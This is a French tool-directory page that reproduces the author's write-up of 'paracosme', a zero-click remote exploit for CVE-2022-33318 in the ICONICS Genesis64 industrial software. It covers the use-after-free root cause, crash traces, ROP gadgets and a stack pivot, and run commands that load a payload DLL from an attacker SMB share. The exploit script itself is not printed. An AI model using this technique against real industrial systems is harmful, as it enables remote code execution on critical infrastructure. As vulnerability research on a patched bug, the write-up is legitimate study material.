Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
paracosme — Paracosme est une exploitation de corruption mémoire à distance sans clic qui compromet ICONICS Genesis64, démontrée avec succès sur scène lors du concours Pwn2Own Miami 2022. | Kitploit
Outils/GitHubGitHub/0vercl0k/paracosme
Analyse des VulnérabilitésExploitationSécurité SCADA/ICSTests d'IntrusionDéveloppement de Charges UtilesExploitation de BinairesArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme est une exploitation de corruption mémoire à distance sans clic qui compromet ICONICS Genesis64, démontrée avec succès sur scène lors du concours Pwn2Own Miami 2022.

Voir le dépôt
90226il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Paracosme - CVE-2022-33318 - Exécution de code à distance dans ICONICS Genesis64

Paracosme est un exploit de corruption mémoire que j'ai écrit pour cibler la suite Genesis64 v10.97.1 développée par ICONICS afin d'obtenir une exécution de code à distance.

L'exploit a été démontré lors du concours Pwn2Own 2022 Miami qui s'est tenu à la conférence S4x22. Vous pouvez en lire davantage dans Participer au Pwn2Own ICS 2022 Miami : exploiter une corruption mémoire distante zero click dans ICONICS Genesis64.

Le problème a obtenu un score de 9,8 sur l'échelle CVSS et s'est vu attribuer CVE-2022-33318 / ZDI-22-1041. Il a été corrigé et a été corrigé dans Genesis64 10.97.2. Vous pouvez également consulter l'avis ICSA-22-202-04 ainsi que le livre blanc d'ICONICS sur les vulnérabilités de sécurité de la suite ICONICS.

Vous pouvez trouver le code de l'exploit dans src/paracosme.py, un PoC pour déclencher le crash / vérifier si vous êtes affecté dans src/paracosme-poc.py, et le payload exécuté sur la machine dans src/payload.

Suis-je concerné ?

La meilleure façon de savoir si vous êtes concerné est d'activer Page Heap pour GenBroker64.exe, de redémarrer le service, d'attacher un débogueur à GenBroker64.exe, d'exécuter paracosme-poc.py contre votre serveur et vous devriez voir des crashes comme ci-dessous :

Il est nécessaire d'attacher un débogueur au processus cible pour constater le crash, sinon l'application l'ignore.

Exécution de l'exploit

L'exploit n'a été testé que sur Windows mais devrait également fonctionner sur les plateformes Linux :

  1. Installez impacket avec : pip3 install impacket
  2. Désactivez tout serveur SMB exécuté sur votre machine avec sc config lanmanserver start=disabled et redémarrez
  3. Démarrez un smbserver avec smbserver.py (faisant partie des exemples d'impacket) avec : python src\smbserver.py -smb2support x bin
  4. Lancez l'exploit avec python src\paracosme.py --target <ip>

L'exploit

Pour plus de détails, veuillez vous référer à Participer au Pwn2Own ICS 2022 Miami : exploiter une corruption mémoire distante zero click dans ICONICS Genesis64.

Vue d'ensemble de la vulnérabilité

Paracosme exploite un problème de use-after-free trouvé dans le processus GenBroker64 pour obtenir une exécution de code à distance sur un système Windows 21H2 x64.

À un niveau général, le processus GenBroker64 écoute sur le port TCP 38080 et est capable de désérialiser divers paquets après qu'un handshake a été effectué avec un client. Le problème que j'ai trouvé se situe dans le code qui gère la lecture d'un VARIANT depuis le socket réseau. En gros, un variant est un type et une valeur. La fonction semble bien écrite à première vue et fait des efforts pour ne désérialiser que certains types. Voici à quoi elle ressemble :

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

La fonction implémente elle-même le déballage des tableaux, ainsi que la lecture des types de variant simples, mais si elle reçoit quelque chose qui n'est ni l'un ni l'autre, elle se rabat sur l'operator>> de l'instance d'archive. Cette instance d'archive est un objet fourni par le framework Microsoft Foundation Class qui gère la sérialisation et la désérialisation de divers objets. Ce code est en réalité open-source et vous pouvez le trouver dans C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp, mais le voici :

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

La fonction est plutôt banale car elle contient aussi une logique pour désérialiser les types triviaux, mais ce qui a attiré mon attention, c'était VT_DISPATCH / VT_UNKNOWN.

C'est quoi, ce délire ? Vous pouvez envoyer un identifiant de classe COM arbitraire qui implémente soit IPersistStream soit IPersistStreamInit et il le chargera en invoquant IPersistream::Load pour initialiser l'objet. Bien que cela soit surprenant et soit une fonctionnalité étrange, je n'ai pas vraiment trouvé cela intéressant d'un point de vue sécurité, car il m'aurait fallu trouver un autre bug dans un objet COM disponible sur Windows 10 standard.

Maintenant, regardons de plus près le code ci-dessous :

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

L'appel à CoCreateInstance écrit le pointeur d'instance COM directement dans pSrc->punkVal, c'est-à-dire le variant résultant stocké dans un appelant plusieurs frames plus haut. Ensuite, si IStreamPersist::Load déclenche une exception, elle est interceptée et IUnknown::Release est appelé sur les interfaces IUnknown et IPersistStream, ce qui libère l'objet COM en laissant pSrc->punkVal pendant. L'autre point intéressant est qu'après cela, le bloc catch relance l'exception qui est interceptée par le code ci-dessous :

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

À ce stade, le variant a déjà été libéré, mais son type et sa valeur n'ont pas été mis à jour / modifiés, de sorte que cet appel à VariantClear déclenche un second IUnknown::Release qui produit le crash ci-dessous :

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

Ouah, plutôt génial, nous pouvons déclencher ce qui précède en instanciant un objet COM qui implémente IPersistStream et en lui faisant déclencher une exception lorsque Load est invoqué. Vous pouvez trouver le code de déclenchement dans paracosme-poc.py qui devrait faire crasher le processus GenBroker64.exe sur la cible. Vous pouvez également activer le page heap sur GenBroker64.exe pour obtenir un crash instantané.

Obtenir RIP

Lorsque VariantClear est appelé sur le variant, il envoie un appel virtuel à la méthode Release pour le libérer. Comme il s'agit d'un appel virtuel, la fonction lit une vtable, récupère un pointeur de fonction à un offset fixe et l'invoque. Avant que cela ne se produise, nous faisons la course avec le thread pour récupérer l'instance ole32!CFileMoniker et la remplacer par des données contrôlées (voir RacerThread_t). Par conséquent, nous contrôlons le pointeur de vtable et nous sommes à une instruction du détournement de RIP. Ci-dessous montre l'instruction assembleur correspondante où @rcx pointe vers le chunk que nous contrôlons entièrement :

root@kitploit:~
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

Parce que nous avons un contrôle total sur le chunk récupéré, nous contrôlons @rax. Afin de détourner le flux de contrôle, nous devons définir @rax sur un pointeur vers la valeur avec laquelle nous voulons détourner @rip. Le gros problème ici est l'ASLR et nous n'avons pas de divulgation d'informations.

Heureusement pour nous, le module GenBroker64.exe n'a pas de base dynamique, ce qui signifie que nous pouvons l'utiliser pour trouver un emplacement qui pointe vers un gadget intéressant pour démarrer notre chaîne.

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

Le premier gadget utilisé est un gadget qui nous permet de contrôler entièrement @rip (sans aucune indirection) :

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

Nous pouvons placer l'adresse du gadget suivant à l'offset +0x10 dans le chunk que nous récupérons (pointé par @rcx), ce qui est génial.

Le second gadget que nous utilisons fait pivoter la pile vers le chunk du tas récupéré que nous contrôlons entièrement :

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

Le plus drôle, c'est que l'adresse de notre chunk du tas semble se trouver (toujours ?) dans un emplacement qui tient dans un entier 32 bits, et c'est pourquoi mov esp, ecx fonctionne parfaitement.

À ce stade, nous avons un ROP, mais nous n'avons pas beaucoup d'espace, ce qui était plutôt frustrant. J'ai passé beaucoup de temps à essayer d'aligner les étoiles et j'ai finalement trouvé une séquence de gadgets qui invoque LoadLibraryW avec un chemin SMB distant pointant vers un fichier DLL qui héberge notre payload. Si vous êtes intéressé par les détails de la chaîne, consultez paracosme.py@241.

Auteurs

  • Axel '0verclk' Souchet
Télécharger l’outil